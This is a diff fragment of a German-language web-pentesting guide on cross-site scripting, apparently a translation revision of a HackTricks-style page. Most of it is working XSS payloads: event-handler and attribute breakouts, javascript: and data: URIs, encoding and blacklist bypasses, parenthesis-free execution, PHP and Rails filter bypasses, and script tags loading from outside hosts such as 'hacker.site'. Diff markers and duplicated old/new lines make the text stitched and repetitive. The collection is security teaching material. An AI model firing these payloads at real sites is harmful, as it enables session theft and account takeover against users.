**Weitere winzige XSS für verschiedene Umgebungen** Payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``>
|
||||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
|
||||
Der letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
|
||||
Weitere solcher Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu überprüfen, welche Zeichen dekomponiert sind, schauen Sie [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Klick XSS - Clickjacking
|
||||
### Klick-XSS - Clickjacking
|
||||
|
||||
Wenn Sie die **Benutzer dazu bringen müssen, auf einen Link oder ein Formular** mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, **Clickjacking zu missbrauchen** (wenn die Seite anfällig ist).
|
||||
|
||||
|
@ -272,14 +258,11 @@ Wenn Sie einfach denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attrib
|
|||
|
||||
Wenn Sie **innerhalb eines HTML-Tags** sind, könnten Sie als Erstes versuchen, aus dem Tag auszubrechen und einige der im [vorherigen Abschnitt](./#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn Sie **nicht aus dem Tag ausbrechen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, beispielsweise unter Verwendung einer Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut auszubrechen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt innerhalb des Tags reflektiert wird_):
|
||||
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
|
||||
**Stilereignisse**
|
||||
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
|
@ -289,18 +272,16 @@ Wenn Sie **nicht aus dem Tag ausbrechen können**, könnten Sie neue Attribute i
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
|
||||
### Innerhalb des Attributes
|
||||
|
||||
Auch wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird codiert oder gelöscht), je nach **welchem Attribut** Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn darauf geklickt wird.\
|
||||
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das Protokoll `javascript:` verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Umgehung innerhalb des Ereignisses unter Verwendung von HTML-Codierung/URL-Codierung**
|
||||
|
||||
Die **HTML-codierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher wird etwas wie das Folgende gültig sein (das Payload ist fett markiert): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück gehen </a>`
|
||||
|
||||
Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**:
|
||||
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
|
@ -317,25 +298,19 @@ Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**:
|
|||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
|
||||
**Beachten Sie, dass auch URL-Codierung funktioniert:**
|
||||
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
|
||||
**Umgehung des internen Ereignisses unter Verwendung der Unicode-Codierung**
|
||||
|
||||
**Umgehung innerhalb des Ereignisses unter Verwendung von Unicode-Codierung**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
|
||||
### Spezielle Protokolle innerhalb des Attributes
|
||||
### Besondere Protokolle innerhalb des Attributes
|
||||
|
||||
Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Bei einigen ist eine Benutzerinteraktion erforderlich, bei anderen nicht.
|
||||
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -355,11 +330,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
|||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
|
||||
**Orte, an denen Sie diese Protokolle einfügen können**
|
||||
|
||||
**Im Allgemeinen** kann das `javascript:`-Protokoll in jedem Tag verwendet werden, das das Attribut `href` akzeptiert, und in den meisten Tags, die das Attribut `src` akzeptieren (aber nicht `<img`)
|
||||
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -379,29 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
|
||||
**Andere Verschleierungstricks**
|
||||
|
||||
_**In diesem Fall sind auch die HTML-Codierung und der Unicode-Codierungstrick aus dem vorherigen Abschnitt gültig, da Sie sich innerhalb eines Attributs befinden.**_
|
||||
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert wird, wird sie vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und feststellen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert.
|
||||
|
||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Auch wenn Ihr Eingabe innerhalb von `javascript:...` URL-codiert wird, wird es vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und feststellen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
|
||||
Beachten Sie, dass wenn Sie versuchen, sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um das **Payload** zu codieren, wird es nicht funktionieren, aber Sie können sie innerhalb des Payloads mischen.
|
||||
Hinweis: Wenn Sie versuchen, sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um das **Payload** zu codieren, wird es **nicht funktionieren**, aber Sie können sie innerhalb des Payloads **kombinieren**.
|
||||
|
||||
**Verwendung von Hex- und Oktalcodierung mit `javascript:`**
|
||||
|
||||
Sie können **Hex** und **Oktalcodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zur Ausführung von JS** zu deklarieren:
|
||||
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -413,24 +380,20 @@ Sie können **Hex** und **Oktalcodierung** innerhalb des `src`-Attributs von `if
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
|
||||
### Umgekehrtes Tab-Nabbing
|
||||
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
||||
Wenn Sie eine beliebige URL in einem beliebigen **`<a href=`** Tag einfügen können, der die Attribute **`target="_blank" und rel="opener"`** enthält, überprüfen Sie die **folgende Seite, um dieses Verhalten auszunutzen**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### zum Umgehen von Ereignisbehandlern
|
||||
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Ereignisbehandler**.\
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignisbehandler zu erstellen, können Sie die folgenden Umgehungen versuchen:
|
||||
### zum Event-Handler-Bypass
|
||||
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Event-Handler**.\
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Event-Handler zu erstellen, können Sie die folgenden Bypässe versuchen:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -445,18 +408,14 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
|
||||
### XSS in "Nicht ausnutzbare Tags" (versteckte Eingabe, Link, kanonisch, Meta)
|
||||
|
||||
Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben zu missbrauchen:**
|
||||
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
|
||||
Und in **Meta-Tags**:
|
||||
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -464,18 +423,15 @@ Und in **Meta-Tags**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können ein **XSS-Payload innerhalb eines versteckten Attributes** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im Zugriffsschlüsselattribut verwenden. Hier ist der Vektor:
|
||||
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können ein **XSS-Payload innerhalb eines versteckten Attributes** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. In Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und auf OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im Zugriffsschlüsselattribut verwenden. Hier ist der Vektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
||||
**Die XSS-Payload wird wie folgt aussehen: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist-Umgehungen
|
||||
### Umgehen von Blacklists
|
||||
|
||||
Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in diesem Abschnitt aufgedeckt. Gehen Sie **zurück, um zu lernen, wo Sie verwenden können:**
|
||||
Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in diesem Abschnitt aufgedeckt. Gehe **zurück, um zu lernen, wo du verwenden kannst:**
|
||||
|
||||
* **HTML-Codierung (HTML-Tags)**
|
||||
* **Unicode-Codierung (kann gültiger JS-Code sein):** `\u0061lert(1)`
|
||||
|
@ -485,19 +441,19 @@ Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in
|
|||
|
||||
**Umgehungen für HTML-Tags und Attribute**
|
||||
|
||||
Lesen Sie die [Blacklist-Umgehungen des vorherigen Abschnitts](./#blacklist-bypasses).
|
||||
Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](./#blacklist-bypasses).
|
||||
|
||||
**Umgehungen für JavaScript-Code**
|
||||
|
||||
Lesen Sie die [JavaScript-Umgehungen der Blacklist des folgenden Abschnitts](./#javascript-bypass-blacklists-techniques).
|
||||
Lies die [JavaScript-Umgehungen der Blacklist des folgenden Abschnitts](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Wenn Sie eine **XSS in einem sehr kleinen Teil** der Website gefunden haben, der eine Art von Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), können Sie versuchen, **den Platz zu ändern, den das Element einnimmt**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
Wenn du eine **XSS in einem sehr kleinen Teil** der Website gefunden hast, der eine Art von Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Platz zu ändern, den das Element einnimmt**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
|
||||
Zum Beispiel könnten Sie dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Zum Beispiel könntest du dem Element einige Styles hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Aber wenn die WAF das style-Attribut filtert, können Sie CSS Styling Gadgets verwenden, also wenn Sie beispielsweise Folgendes finden
|
||||
Aber wenn die WAF das Style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du beispielsweise Folgendes findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -505,7 +461,7 @@ und
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Jetzt können Sie unseren Link ändern und ihn in die Form bringen
|
||||
Kannst du jetzt unseren Link ändern und ihn in die Form bringen
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -513,35 +469,30 @@ Dieser Trick stammt von [https://medium.com/@skavans\_/improving-the-impact-of-a
|
|||
|
||||
## Einfügen innerhalb des JavaScript-Codes
|
||||
|
||||
In diesem Fall wird Ihr **Input** im JS-Code einer `.js`-Datei reflektiert oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren.
|
||||
In diesem Fall wird dein **Input** im JS-Code einer `.js`-Datei reflektiert oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren.
|
||||
|
||||
### Escapen des \<script>-Tags
|
||||
|
||||
Wenn Ihr Code innerhalb von `<script> [...] var input = 'reflektierte Daten' [...] </script>` eingefügt wird, könnten Sie einfach das Schließen des `<script>`-Tags **escapen**:
|
||||
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflektierte Daten' [...] </script>` eingefügt wird, könntest du einfach das Schließen des `<script>`-Tags **escapen**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
||||
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen einschließt, einschließlich der Scriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt.
|
||||
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser** durchgeführt wird, was die Identifizierung von Seitenelementen einschließt, einschließlich der Scriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
|
||||
|
||||
### Innerhalb des JS-Codes
|
||||
|
||||
Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entkommen lassen**, wo sich Ihre Eingabe **befindet** und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird:
|
||||
|
||||
Wenn `<>` sanitisiert werden, können Sie immer noch die Zeichenfolge **escapen**, wo sich Ihre Eingabe **befindet**, und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
|
||||
### Vorlagenliterale \`\`
|
||||
|
||||
Um **Zeichenfolgen** zu konstruieren, akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **Backticks** **` `` `**. Dies wird als Vorlagenliterale bezeichnet, da sie es ermöglichen, **eingebettete JS-Ausdrücke** mit der Syntax `${ ... }` zu verwenden.\
|
||||
Daher können Sie, wenn Sie feststellen, dass Ihre Eingabe in einer JS-Zeichenfolge reflektiert wird, die Backticks verwendet, die Syntax `${ ... }` missbrauchen, um **beliebigen JS-Code** auszuführen:
|
||||
|
||||
Dies kann missbraucht werden durch:
|
||||
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -552,28 +503,24 @@ Dies kann missbraucht werden durch:
|
|||
function loop(){return loop}
|
||||
loop``````````````
|
||||
```````````````
|
||||
|
||||
### Codierung von Code-Ausführung
|
||||
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
|
||||
### Unicode Encode JS-Ausführung
|
||||
|
||||
In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen. Dies kann dazu führen, dass der Code vom Browser als gültige JavaScript-Anweisungen interpretiert wird.
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
\u{0061}lert(1)
|
||||
```
|
||||
|
||||
### JavaScript Umgehungslisten-Techniken
|
||||
|
||||
**Zeichenketten**
|
||||
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
|
@ -590,9 +537,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
|||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
|
||||
**Besondere Escapes**
|
||||
|
||||
```javascript
|
||||
'\b' //backspace
|
||||
'\f' //form feed
|
||||
|
@ -606,16 +551,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
|
||||
**Leerzeichen-Ersetzungen innerhalb des JS-Codes**
|
||||
|
||||
**Leerzeichen-Substitutionen innerhalb des JS-Codes**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
|
||||
**JavaScript-Kommentare (aus dem Trick** [**JavaScript-Kommentare**](./#javascript-comments)**)**
|
||||
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -623,9 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
|
||||
**JavaScript Zeilenumbrüche (aus dem Trick** [**JavaScript Zeilenumbruch**](./#javascript-new-lines) **)**
|
||||
|
||||
**JavaScript Zeilenumbrüche (aus dem** [**JavaScript-Zeilenumbruch**](./#javascript-new-lines) **Trick)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -633,9 +572,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
|||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||
```
|
||||
|
||||
**JavaScript Leerzeichen**
|
||||
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
@ -652,18 +589,14 @@ console.log(log)
|
|||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
|
||||
**Javascript innerhalb eines Kommentars**
|
||||
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
|
||||
**JavaScript ohne Klammern**
|
||||
|
||||
````javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
|
@ -738,12 +671,10 @@ try{throw onerror=alert}catch{throw 1}
|
|||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
|
||||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Beliebiger Funktionsaufruf (alert)**
|
||||
|
||||
````javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
|
@ -803,7 +734,6 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
|
||||
## **DOM-Schwachstellen**
|
||||
|
||||
Es gibt **JS-Code**, der **unsicher Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.\
|
||||
|
@ -823,28 +753,21 @@ Vergessen Sie auch nicht, dass **am Ende des genannten Beitrags** eine Erklärun
|
|||
Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Clientseite) **unicode-normalisiert** werden und diese Funktionalität missbrauchen, um Schutzmechanismen zu umgehen. [**Hier finden Sie ein Beispiel**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL-Flag-Umgehung
|
||||
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
|
||||
### Ruby-On-Rails Umgehung
|
||||
|
||||
Aufgrund der **RoR Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.\
|
||||
Formularbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie das Payload senden:
|
||||
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
||||
Das Paar "Key","Value" wird wie folgt zurückgegeben:
|
||||
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
||||
### Besondere Kombinationen
|
||||
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -874,16 +797,16 @@ Das Paar "Key","Value" wird wie folgt zurückgegeben:
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
|
||||
### XSS mit Header-Injection in einer 302-Antwort
|
||||
|
||||
Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, beliebigen JavaScript-Code auszuführen. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos.
|
||||
Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, **beliebigen JavaScript-Code auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos.
|
||||
|
||||
In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen können, um zu sehen, ob einer von ihnen es dem Browser ermöglicht, den XSS-Payload im Body zu inspizieren und auszuführen. Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`.
|
||||
In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen und sehen können, ob einer von ihnen es dem Browser ermöglicht, den XSS-Payload im Body zu inspizieren und auszuführen.\
|
||||
Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`.
|
||||
|
||||
### Nur Buchstaben, Zahlen und Punkte
|
||||
|
||||
Wenn Sie den **Callback** angeben können, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten missbrauchen können.
|
||||
Wenn Sie den **Callback** angeben können, den JavaScript **ausführen** wird, begrenzt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten missbrauchen können.
|
||||
|
||||
### Gültige `<script>` Content-Types für XSS
|
||||
|
||||
|
@ -891,8 +814,7 @@ Wenn Sie den **Callback** angeben können, den JavaScript ausführen wird, besch
|
|||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind diejenigen, die sich im const **`kSupportedJavascriptTypes`** befinden, von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
|
||||
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind diejenigen, die sich im const **`kSupportedJavascriptTypes`** befinden, von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
